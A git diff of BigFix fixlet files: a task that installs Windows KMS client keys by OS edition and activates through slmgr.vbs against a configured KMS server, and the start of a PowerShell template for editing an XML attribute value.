4DWFP-JF3DJ-B7DTH-78FJB-PDRHK, NULL") )) of selects "PartialProductKey from SoftwareLicensingProduct WHERE PartialProductKey is not NULL" of wmis]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-08-31</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 01 Sep 2016 01:11:06 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-parameter "KMSkey" = "{ ((it as trimmed string) of preceding text of first ", " of following text of first ( (", " & it & ",") of (it as trimmed string) of ( if it does not contain "Professional" then ((preceding text of last "Pro" of it & "Professional" & following text of last "Pro" of it) | it) else it ) of unique values of (it as string as trimmed string) of values "ProductName" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of (x64 registries; x32 registries) ) of it) of ("NULL, Windows Server 2016 Datacenter, CB7KF-BWN84-R7R2Y-793K2-8XDDG, Windows Server 2016 Standard, WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY, Windows Server 2016 Essentials, JCKRF-N37P4-C2D82-9YXRT-4M63B, "&"Windows 10 Professional, W269N-WFGWX-YVC9B-4J6C9-T83GX, Windows 10 Professional N, MH37W-N47XK-V7XM9-C7227-GCQG9, Windows 10 Enterprise, NPPR9-FWDCX-D2C8J-H872K-2YT43, Windows 10 Enterprise N, DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4, "&"Windows 10 Education, NW6C2-QMPVW-D7KKK-3GKT6-VCFB2, Windows 10 Education N, 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ, Windows 10 Enterprise 2015 LTSB, WNMTR-4C88C-JK8YV-HQ7T2-76DF9, Windows 10 Enterprise 2015 LTSB N, 2F77B-TNFGY-69QQF-B8YKP-D69TJ, Windows 10 Enterprise 2016 LTSB, DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ, Windows 10 Enterprise 2016 LTSB N, QFFDN-GRT3P-VKWWX-X7T3R-8B639, "&"Windows 8.1 Professional, GCRJD-8NW9H-F2CDX-CCM8D-9D6T9, Windows 8.1 Professional N, HMCNV-VVBFX-7HMBH-CTY9B-B4FXY, Windows 8.1 Enterprise, MHF9N-XY6XB-WVXMC-BTDCT-MKKG7, Windows 8.1 Enterprise N, TT4HM-HN7YT-62K67-RGRQJ-JFFXW, "&"Windows Server 2012 R2 Standard, D2N9P-3P6X9-2R39C-7RTCD-MDVJX, Windows Server 2012 R2 Datacenter, W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9, Windows Server 2012 R2 Essentials, KNC87-3J2TX-XB4WP-VCPJV-M4FWM, "&"Windows 8 Professional, NG4HW-VH26C-733KW-K6F98-J8CK4, Windows 8 Professional N, XCVCF-2NXM9-723PB-MHCB7-2RYQQ, Windows 8 Enterprise, 32JNW-9KQ84-P47T8-D8GGY-CWCK7, Windows 8 Enterprise N, JMNMF-RHW7P-DMY6X-RF3DR-X2BQT, "&"Windows Server 2012, BN3D2-R7TKB-3YPBD-8DRP2-27GG4, Windows Server 2012 N, 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY, Windows Server 2012 Single Language, 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ, Windows Server 2012 Country Specific, 4K36P-JN4VD-GDC6V-KDT89-DYFKP, "&"Windows Server 2012 Standard, XC9B7-NBPP2-83J2H-RHMBY-92BT4, Windows Server 2012 MultiPoint Standard, HM7DN-YVMH3-46JC3-XYTG7-CYQJJ, Windows Server 2012 MultiPoint Premium, XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G, Windows Server 2012 Datacenter, 48HP8-DN98B-MYWDG-T2DCC-8W83P, "&"Windows 7 Professional, FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4, Windows 7 Professional N, MRPKT-YTG23-K7D7T-X2JMM-QY7MG, Windows 7 Professional E, W82YF-2Q76Y-63HXB-FGJG9-GF7QX, Windows 7 Enterprise, 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH, Windows 7 Enterprise N, YDRBP-3D83W-TY26F-D46B2-XCKRJ, Windows 7 Enterprise E, C29WB-22CC8-VJ326-GHFJW-H9DH4, "&"Windows Server 2008 R2 Web, 6TPJF-RBVHG-WBW2R-86QPH-6RTM4, Windows Server 2008 R2 HPC edition, TT8MH-CG224-D3D7Q-498W2-9QCTX, Windows Server 2008 R2 Standard, YC6KT-GKW9T-YTKYR-T4X34-R7VHC, Windows Server 2008 R2 Enterprise, 489J6-VHDMP-X63PK-3K798-CPX3Y, Windows Server 2008 R2 Datacenter, 74YFP-3QFB3-KQT8W-PMXWJ-7M648, Windows Server 2008 R2 for Itanium-based Systems, GT63C-RJFQ3-4GMB6-BRFB9-CB83V, "&"Windows Vista Business, YFKBB-PQJJV-G996G-VWGXY-2V3X8, Windows Vista Business N, HMBQG-8H2RH-C77VX-27R82-VMQBT, Windows Vista Enterprise, VKK3X-68KWM-X2YGT-QR4M6-4BWMV, Windows Vista Enterprise N, VTC42-BM838-43QHV-84HX6-XJXKV, "&"Windows Web Server 2008, WYR28-R7TFJ-3X2YQ-YCY4H-M249D, Windows Server 2008 Standard, TM24T-X9RMF-VWXK6-X8JC9-BFGM2, Windows Server 2008 Standard without Hyper-V, W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ, Windows Server 2008 Enterprise, YQGMW-MPWTJ-34KDK-48M3W-X4Q6V, "&"Windows Server 2008 Enterprise without Hyper-V, 39BXF-X8Q23-P2WWT-38T2F-G3FPG, Windows Server 2008 HPC, RCTX3-KWVHP-BR6TB-RB6DM-6X7HP, Windows Server 2008 Datacenter, 7M67G-PC374-GR742-YH8V4-TCBY3, Windows Server 2008 Datacenter without Hyper-V, 22XQ2-VRXRG-P8D42-K34TD-G3QQC, Windows Server 2008 for Itanium-Based Systems, 4DWFP-JF3DJ-B7DTH-78FJB-PDRHK, NULL") }"
-
-// set clock if the time is off (must be less than 4 hours difference)
-if { 2*hour < absolute value of (now - apparent registration server time) }
-    // NOTE: this will set the client's clock to match it's parent relay, so hopefully it's clock is correct!
-    set clock
-endif
-
-if{x64 of operating system}
-	action uses wow64 redirection false
-endif
-
-waithidden "{(pathname of system folder)}\cscript.exe" "{(pathname of system folder)}\slmgr.vbs" -ipk { parameter "KMSkey" }
-waithidden "{(pathname of system folder)}\cscript.exe" "{(pathname of system folder)}\slmgr.vbs" /ato
-
-// References:
-//		http://technet.microsoft.com/en-us/library/ff793406.aspx
-//		http://support.microsoft.com/kb/929826
-//		http://technet.microsoft.com/en-us/library/bb491016.aspx
-//      https://bigfix.me/relevance/details/3017259
-//      https://blogs.technet.microsoft.com/craigf/2011/03/03/getting-error-0xc004f074-when-activating-against-kms-server/
-
-]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : set Windows KMS key - Windows BETA
+  ID       : 21368
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-08-31T18:11:49
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>set Windows KMS key - Windows BETA</Title>
+    <Description><![CDATA[<P>This will only work properly with known KMSkey/OSversion combinations that are contained within the embedded relevance statements.</P>
+<P>There are definitely missing combinations which this will NOT work for.</P>
+<P>The relevance used could be expanded and adapted to work with more KMSkeys.</P>
+<P>This is meant to be taken as a policy action, applied to all computers all of the time.</P>
+<P><STRONG>Known Issue:</STRONG> the relevance that checks to see if windows is activated doesn't account for MS Office being installed, which may make this not relevant on a machine where it SHOULD be relevant</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>not exists unique values whose(1 = it) of integer values of selects &quot;LicenseStatus from SoftwareLicensingProduct WHERE PartialProductKey is not null&quot; of wmis</Relevance>
+    <Relevance><![CDATA[exists minima whose( now - it > 1*day ) of subscribe times of sites]]></Relevance>
+    <Relevance>exists values &quot;KeyManagementServiceName&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform&quot; of (x32 registries; x64 registries)</Relevance>
+    <Relevance><![CDATA[exists ((it as trimmed string) of preceding text of first ", " of following text of first ( (", " & it & ",") of (it as trimmed string) of ( if it does not contain "Professional" then ((preceding text of last "Pro" of it & "Professional" & following text of last "Pro" of it) | it) else it ) of unique values of (it as string as trimmed string) of values "ProductName" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of (x64 registries; x32 registries) ) of it) of ("NULL, Windows Server 2016 Datacenter, CB7KF-BWN84-R7R2Y-793K2-8XDDG, Windows Server 2016 Standard, WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY, Windows Server 2016 Essentials, JCKRF-N37P4-C2D82-9YXRT-4M63B, "&"Windows 10 Professional, W269N-WFGWX-YVC9B-4J6C9-T83GX, Windows 10 Professional N, MH37W-N47XK-V7XM9-C7227-GCQG9, Windows 10 Enterprise, NPPR9-FWDCX-D2C8J-H872K-2YT43, Windows 10 Enterprise N, DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4, "&"Windows 10 Education, NW6C2-QMPVW-D7KKK-3GKT6-VCFB2, Windows 10 Education N, 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ, Windows 10 Enterprise 2015 LTSB, WNMTR-4C88C-JK8YV-HQ7T2-76DF9, Windows 10 Enterprise 2015 LTSB N, 2F77B-TNFGY-69QQF-B8YKP-D69TJ, Windows 10 Enterprise 2016 LTSB, DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ, Windows 10 Enterprise 2016 LTSB N, QFFDN-GRT3P-VKWWX-X7T3R-8B639, "&"Windows 8.1 Professional, GCRJD-8NW9H-F2CDX-CCM8D-9D6T9, Windows 8.1 Professional N, HMCNV-VVBFX-7HMBH-CTY9B-B4FXY, Windows 8.1 Enterprise, MHF9N-XY6XB-WVXMC-BTDCT-MKKG7, Windows 8.1 Enterprise N, TT4HM-HN7YT-62K67-RGRQJ-JFFXW, "&"Windows Server 2012 R2 Standard, D2N9P-3P6X9-2R39C-7RTCD-MDVJX, Windows Server 2012 R2 Datacenter, W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9, Windows Server 2012 R2 Essentials, KNC87-3J2TX-XB4WP-VCPJV-M4FWM, "&"Windows 8 Professional, NG4HW-VH26C-733KW-K6F98-J8CK4, Windows 8 Professional N, XCVCF-2NXM9-723PB-MHCB7-2RYQQ, Windows 8 Enterprise, 32JNW-9KQ84-P47T8-D8GGY-CWCK7, Windows 8 Enterprise N, JMNMF-RHW7P-DMY6X-RF3DR-X2BQT, "&"Windows Server 2012, BN3D2-R7TKB-3YPBD-8DRP2-27GG4, Windows Server 2012 N, 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY, Windows Server 2012 Single Language, 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ, Windows Server 2012 Country Specific, 4K36P-JN4VD-GDC6V-KDT89-DYFKP, "&"Windows Server 2012 Standard, XC9B7-NBPP2-83J2H-RHMBY-92BT4, Windows Server 2012 MultiPoint Standard, HM7DN-YVMH3-46JC3-XYTG7-CYQJJ, Windows Server 2012 MultiPoint Premium, XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G, Windows Server 2012 Datacenter, 48HP8-DN98B-MYWDG-T2DCC-8W83P, "&"Windows 7 Professional, FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4, Windows 7 Professional N, MRPKT-YTG23-K7D7T-X2JMM-QY7MG, Windows 7 Professional E, W82YF-2Q76Y-63HXB-FGJG9-GF7QX, Windows 7 Enterprise, 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH, Windows 7 Enterprise N, YDRBP-3D83W-TY26F-D46B2-XCKRJ, Windows 7 Enterprise E, C29WB-22CC8-VJ326-GHFJW-H9DH4, "&"Windows Server 2008 R2 Web, 6TPJF-RBVHG-WBW2R-86QPH-6RTM4, Windows Server 2008 R2 HPC edition, TT8MH-CG224-D3D7Q-498W2-9QCTX, Windows Server 2008 R2 Standard, YC6KT-GKW9T-YTKYR-T4X34-R7VHC, Windows Server 2008 R2 Enterprise, 489J6-VHDMP-X63PK-3K798-CPX3Y, Windows Server 2008 R2 Datacenter, 74YFP-3QFB3-KQT8W-PMXWJ-7M648, Windows Server 2008 R2 for Itanium-based Systems, GT63C-RJFQ3-4GMB6-BRFB9-CB83V, "&"Windows Vista Business, YFKBB-PQJJV-G996G-VWGXY-2V3X8, Windows Vista Business N, HMBQG-8H2RH-C77VX-27R82-VMQBT, Windows Vista Enterprise, VKK3X-68KWM-X2YGT-QR4M6-4BWMV, Windows Vista Enterprise N, VTC42-BM838-43QHV-84HX6-XJXKV, "&"Windows Web Server 2008, WYR28-R7TFJ-3X2YQ-YCY4H-M249D, Windows Server 2008 Standard, TM24T-X9RMF-VWXK6-X8JC9-BFGM2, Windows Server 2008 Standard without Hyper-V, W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ, Windows Server 2008 Enterprise, YQGMW-MPWTJ-34KDK-48M3W-X4Q6V, "&"Windows Server 2008 Enterprise without Hyper-V, 39BXF-X8Q23-P2WWT-38T2F-G3FPG, Windows Server 2008 HPC, RCTX3-KWVHP-BR6TB-RB6DM-6X7HP, Windows Server 2008 Datacenter, 7M67G-PC374-GR742-YH8V4-TCBY3, Windows Server 2008 Datacenter without Hyper-V, 22XQ2-VRXRG-P8D42-K34TD-G3QQC, Windows Server 2008 for Itanium-Based Systems, 4DWFP-JF3DJ-B7DTH-78FJB-PDRHK, NULL")]]></Relevance>
+    <Relevance><![CDATA[not exists string values whose(it is contained by ( ((it as trimmed string) of preceding text of first ", " of following text of first ( (", " & it & ",") of (it as trimmed string) of ( (preceding text of last "Pro" of it & "Professional" & following text of last "Pro" of it) | it) of unique values of (it as string as trimmed string) of values "ProductName" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of (x64 registries; x32 registries) ) of it) of ("NULL, Windows Server 2016 Datacenter, CB7KF-BWN84-R7R2Y-793K2-8XDDG, Windows Server 2016 Standard, WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY, Windows Server 2016 Essentials, JCKRF-N37P4-C2D82-9YXRT-4M63B, "&"Windows 10 Professional, W269N-WFGWX-YVC9B-4J6C9-T83GX, Windows 10 Professional N, MH37W-N47XK-V7XM9-C7227-GCQG9, Windows 10 Enterprise, NPPR9-FWDCX-D2C8J-H872K-2YT43, Windows 10 Enterprise N, DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4, "&"Windows 10 Education, NW6C2-QMPVW-D7KKK-3GKT6-VCFB2, Windows 10 Education N, 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ, Windows 10 Enterprise 2015 LTSB, WNMTR-4C88C-JK8YV-HQ7T2-76DF9, Windows 10 Enterprise 2015 LTSB N, 2F77B-TNFGY-69QQF-B8YKP-D69TJ, Windows 10 Enterprise 2016 LTSB, DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ, Windows 10 Enterprise 2016 LTSB N, QFFDN-GRT3P-VKWWX-X7T3R-8B639, "&"Windows 8.1 Professional, GCRJD-8NW9H-F2CDX-CCM8D-9D6T9, Windows 8.1 Professional N, HMCNV-VVBFX-7HMBH-CTY9B-B4FXY, Windows 8.1 Enterprise, MHF9N-XY6XB-WVXMC-BTDCT-MKKG7, Windows 8.1 Enterprise N, TT4HM-HN7YT-62K67-RGRQJ-JFFXW, "&"Windows Server 2012 R2 Server Standard, D2N9P-3P6X9-2R39C-7RTCD-MDVJX, Windows Server 2012 R2 Datacenter, W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9, Windows Server 2012 R2 Essentials, KNC87-3J2TX-XB4WP-VCPJV-M4FWM, "&"Windows 8 Professional, NG4HW-VH26C-733KW-K6F98-J8CK4, Windows 8 Professional N, XCVCF-2NXM9-723PB-MHCB7-2RYQQ, Windows 8 Enterprise, 32JNW-9KQ84-P47T8-D8GGY-CWCK7, Windows 8 Enterprise N, JMNMF-RHW7P-DMY6X-RF3DR-X2BQT, "&"Windows Server 2012, BN3D2-R7TKB-3YPBD-8DRP2-27GG4, Windows Server 2012 N, 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY, Windows Server 2012 Single Language, 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ, Windows Server 2012 Country Specific, 4K36P-JN4VD-GDC6V-KDT89-DYFKP, "&"Windows Server 2012 Server Standard, XC9B7-NBPP2-83J2H-RHMBY-92BT4, Windows Server 2012 MultiPoint Standard, HM7DN-YVMH3-46JC3-XYTG7-CYQJJ, Windows Server 2012 MultiPoint Premium, XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G, Windows Server 2012 Datacenter, 48HP8-DN98B-MYWDG-T2DCC-8W83P, "&"Windows 7 Professional, FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4, Windows 7 Professional N, MRPKT-YTG23-K7D7T-X2JMM-QY7MG, Windows 7 Professional E, W82YF-2Q76Y-63HXB-FGJG9-GF7QX, Windows 7 Enterprise, 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH, Windows 7 Enterprise N, YDRBP-3D83W-TY26F-D46B2-XCKRJ, Windows 7 Enterprise E, C29WB-22CC8-VJ326-GHFJW-H9DH4, "&"Windows Server 2008 R2 Web, 6TPJF-RBVHG-WBW2R-86QPH-6RTM4, Windows Server 2008 R2 HPC edition, TT8MH-CG224-D3D7Q-498W2-9QCTX, Windows Server 2008 R2 Standard, YC6KT-GKW9T-YTKYR-T4X34-R7VHC, Windows Server 2008 R2 Enterprise, 489J6-VHDMP-X63PK-3K798-CPX3Y, Windows Server 2008 R2 Datacenter, 74YFP-3QFB3-KQT8W-PMXWJ-7M648, Windows Server 2008 R2 for Itanium-based Systems, GT63C-RJFQ3-4GMB6-BRFB9-CB83V, "&"Windows Vista Business, YFKBB-PQJJV-G996G-VWGXY-2V3X8, Windows Vista Business N, HMBQG-8H2RH-C77VX-27R82-VMQBT, Windows Vista Enterprise, VKK3X-68KWM-X2YGT-QR4M6-4BWMV, Windows Vista Enterprise N, VTC42-BM838-43QHV-84HX6-XJXKV, "&"Windows Web Server 2008, WYR28-R7TFJ-3X2YQ-YCY4H-M249D, Windows Server 2008 Standard, TM24T-X9RMF-VWXK6-X8JC9-BFGM2, Windows Server 2008 Standard without Hyper-V, W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ, Windows Server 2008 Enterprise, YQGMW-MPWTJ-34KDK-48M3W-X4Q6V, "&"Windows Server 2008 Enterprise without Hyper-V, 39BXF-X8Q23-P2WWT-38T2F-G3FPG, Windows Server 2008 HPC, RCTX3-KWVHP-BR6TB-RB6DM-6X7HP, Windows Server 2008 Datacenter, 7M67G-PC374-GR742-YH8V4-TCBY3, Windows Server 2008 Datacenter without Hyper-V, 22XQ2-VRXRG-P8D42-K34TD-G3QQC, Windows Server 2008 for Itanium-Based Systems, 4DWFP-JF3DJ-B7DTH-78FJB-PDRHK, NULL") )) of selects "PartialProductKey from SoftwareLicensingProduct WHERE PartialProductKey is not NULL" of wmis]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-08-31</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 01 Sep 2016 01:11:06 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "KMSkey" = "{ ((it as trimmed string) of preceding text of first ", " of following text of first ( (", " & it & ",") of (it as trimmed string) of ( if it does not contain "Professional" then ((preceding text of last "Pro" of it & "Professional" & following text of last "Pro" of it) | it) else it ) of unique values of (it as string as trimmed string) of values "ProductName" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of (x64 registries; x32 registries) ) of it) of ("NULL, Windows Server 2016 Datacenter, CB7KF-BWN84-R7R2Y-793K2-8XDDG, Windows Server 2016 Standard, WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY, Windows Server 2016 Essentials, JCKRF-N37P4-C2D82-9YXRT-4M63B, "&"Windows 10 Professional, W269N-WFGWX-YVC9B-4J6C9-T83GX, Windows 10 Professional N, MH37W-N47XK-V7XM9-C7227-GCQG9, Windows 10 Enterprise, NPPR9-FWDCX-D2C8J-H872K-2YT43, Windows 10 Enterprise N, DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4, "&"Windows 10 Education, NW6C2-QMPVW-D7KKK-3GKT6-VCFB2, Windows 10 Education N, 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ, Windows 10 Enterprise 2015 LTSB, WNMTR-4C88C-JK8YV-HQ7T2-76DF9, Windows 10 Enterprise 2015 LTSB N, 2F77B-TNFGY-69QQF-B8YKP-D69TJ, Windows 10 Enterprise 2016 LTSB, DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ, Windows 10 Enterprise 2016 LTSB N, QFFDN-GRT3P-VKWWX-X7T3R-8B639, "&"Windows 8.1 Professional, GCRJD-8NW9H-F2CDX-CCM8D-9D6T9, Windows 8.1 Professional N, HMCNV-VVBFX-7HMBH-CTY9B-B4FXY, Windows 8.1 Enterprise, MHF9N-XY6XB-WVXMC-BTDCT-MKKG7, Windows 8.1 Enterprise N, TT4HM-HN7YT-62K67-RGRQJ-JFFXW, "&"Windows Server 2012 R2 Standard, D2N9P-3P6X9-2R39C-7RTCD-MDVJX, Windows Server 2012 R2 Datacenter, W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9, Windows Server 2012 R2 Essentials, KNC87-3J2TX-XB4WP-VCPJV-M4FWM, "&"Windows 8 Professional, NG4HW-VH26C-733KW-K6F98-J8CK4, Windows 8 Professional N, XCVCF-2NXM9-723PB-MHCB7-2RYQQ, Windows 8 Enterprise, 32JNW-9KQ84-P47T8-D8GGY-CWCK7, Windows 8 Enterprise N, JMNMF-RHW7P-DMY6X-RF3DR-X2BQT, "&"Windows Server 2012, BN3D2-R7TKB-3YPBD-8DRP2-27GG4, Windows Server 2012 N, 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY, Windows Server 2012 Single Language, 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ, Windows Server 2012 Country Specific, 4K36P-JN4VD-GDC6V-KDT89-DYFKP, "&"Windows Server 2012 Standard, XC9B7-NBPP2-83J2H-RHMBY-92BT4, Windows Server 2012 MultiPoint Standard, HM7DN-YVMH3-46JC3-XYTG7-CYQJJ, Windows Server 2012 MultiPoint Premium, XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G, Windows Server 2012 Datacenter, 48HP8-DN98B-MYWDG-T2DCC-8W83P, "&"Windows 7 Professional, FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4, Windows 7 Professional N, MRPKT-YTG23-K7D7T-X2JMM-QY7MG, Windows 7 Professional E, W82YF-2Q76Y-63HXB-FGJG9-GF7QX, Windows 7 Enterprise, 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH, Windows 7 Enterprise N, YDRBP-3D83W-TY26F-D46B2-XCKRJ, Windows 7 Enterprise E, C29WB-22CC8-VJ326-GHFJW-H9DH4, "&"Windows Server 2008 R2 Web, 6TPJF-RBVHG-WBW2R-86QPH-6RTM4, Windows Server 2008 R2 HPC edition, TT8MH-CG224-D3D7Q-498W2-9QCTX, Windows Server 2008 R2 Standard, YC6KT-GKW9T-YTKYR-T4X34-R7VHC, Windows Server 2008 R2 Enterprise, 489J6-VHDMP-X63PK-3K798-CPX3Y, Windows Server 2008 R2 Datacenter, 74YFP-3QFB3-KQT8W-PMXWJ-7M648, Windows Server 2008 R2 for Itanium-based Systems, GT63C-RJFQ3-4GMB6-BRFB9-CB83V, "&"Windows Vista Business, YFKBB-PQJJV-G996G-VWGXY-2V3X8, Windows Vista Business N, HMBQG-8H2RH-C77VX-27R82-VMQBT, Windows Vista Enterprise, VKK3X-68KWM-X2YGT-QR4M6-4BWMV, Windows Vista Enterprise N, VTC42-BM838-43QHV-84HX6-XJXKV, "&"Windows Web Server 2008, WYR28-R7TFJ-3X2YQ-YCY4H-M249D, Windows Server 2008 Standard, TM24T-X9RMF-VWXK6-X8JC9-BFGM2, Windows Server 2008 Standard without Hyper-V, W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ, Windows Server 2008 Enterprise, YQGMW-MPWTJ-34KDK-48M3W-X4Q6V, "&"Windows Server 2008 Enterprise without Hyper-V, 39BXF-X8Q23-P2WWT-38T2F-G3FPG, Windows Server 2008 HPC, RCTX3-KWVHP-BR6TB-RB6DM-6X7HP, Windows Server 2008 Datacenter, 7M67G-PC374-GR742-YH8V4-TCBY3, Windows Server 2008 Datacenter without Hyper-V, 22XQ2-VRXRG-P8D42-K34TD-G3QQC, Windows Server 2008 for Itanium-Based Systems, 4DWFP-JF3DJ-B7DTH-78FJB-PDRHK, NULL") }"
+
+// set clock if the time is off (must be less than 4 hours difference)
+if { 2*hour < absolute value of (now - apparent registration server time) }
+    // NOTE: this will set the client's clock to match it's parent relay, so hopefully it's clock is correct!
+    set clock
+endif
+
+if{x64 of operating system}
+	action uses wow64 redirection false
+endif
+
+waithidden "{(pathname of system folder)}\cscript.exe" "{(pathname of system folder)}\slmgr.vbs" -ipk { parameter "KMSkey" }
+waithidden "{(pathname of system folder)}\cscript.exe" "{(pathname of system folder)}\slmgr.vbs" /ato
+
+// References:
+//		http://technet.microsoft.com/en-us/library/ff793406.aspx
+//		http://support.microsoft.com/kb/929826
+//		http://technet.microsoft.com/en-us/library/bb491016.aspx
+//      https://bigfix.me/relevance/details/3017259
+//      https://blogs.technet.microsoft.com/craigf/2011/03/03/getting-error-0xc004f074-when-activating-against-kms-server/
+
+]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/template XML Editing Template Powershell (25582).bes b/Sites/Windows Management/Fixlets/Fixlets/template XML Editing Template Powershell (25582).bes
index 905c21474..296f02197 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/template XML Editing Template Powershell (25582).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/template XML Editing Template Powershell (25582).bes	
@@ -1,110 +1,110 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : _template XML Editing Template Powershell
-  ID       : 25582
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2018-11-12T10:49:01
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>_template XML Editing Template Powershell</Title>
-    <Description><![CDATA[<P>Sample template fixlet to modify an XML file.&nbsp; </P>
-<P>This Fixlet demonstrates opening an XML file with PowerShell, and replacing&nbsp;a value in the XML content.</P>
-<P>Originally written to allow removing an NVidia driver without rebooting.&nbsp;&nbsp;NVidia, in their&nbsp;admin-unfriendliness, decided that uninstalling a driver should immediately trigger a reboot without providing any options to delay the reboot or to warn the user that a reboot is going to occur.&nbsp; There are no command-line parameters available to modify this behavior, but we can skip the reboot by modifying a value in their nv.xml configuration file.&nbsp;</P>
-<P>This fixlet, being an example of the PowerShell usage, generates on-the-fly an XML file similar to NVidia's format, and then uses PowerShell to replace one of the attribute values in that file.</P>]]></Description>
-    <Relevance>windows of operating system AND (if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2018-08-23</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 12 Nov 2018 18:48:14 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection false
-
-// build the powershell script that we will use to modify an XML file
-createfile until EOF_EOF_EOF_EOF
-<#
-
-.Synopsis
-This is a Powershell script to search an XML file for a given node, and replace an attribute value on any matching node(s)
-
-.DESCRIPTION
-$MyInvocation.ScriptName -file <filename.xml> -xpath <xpath_to_search> -name <attribute name to modify> -value <value to set> [-out <filename-out.xml>] [-showdetail]
-
-.EXAMPLE
-powershell -ExecutionPolicy Bypass -File $MyInvocation.ScriptName -file "C:\temp\nv.xml" -xpath "//*[@uninstallReboot='true']" -name uninstallReboot -value false -out "c:\temp\nv-output.xml" -showdetail
-
-.NOTES
-Originally written to change brain-dead NVidia driver uninstallers to not force a reboot without warning on uninstall.  The NVidia XML config files needed to be updated to remove the forced reboot.
-
-
-
-#>
-
-
-
-param (
-	[Parameter(Mandatory=$true)][string]$file,
-	[string]$out=$file,
-	[Parameter(Mandatory=$true)][string]$xpath,
-	[Parameter(Mandatory=$true)][string]$name,
-	[Parameter(Mandatory=$true)][string]$value,
-	[switch]$showdetail=$false
-
-)
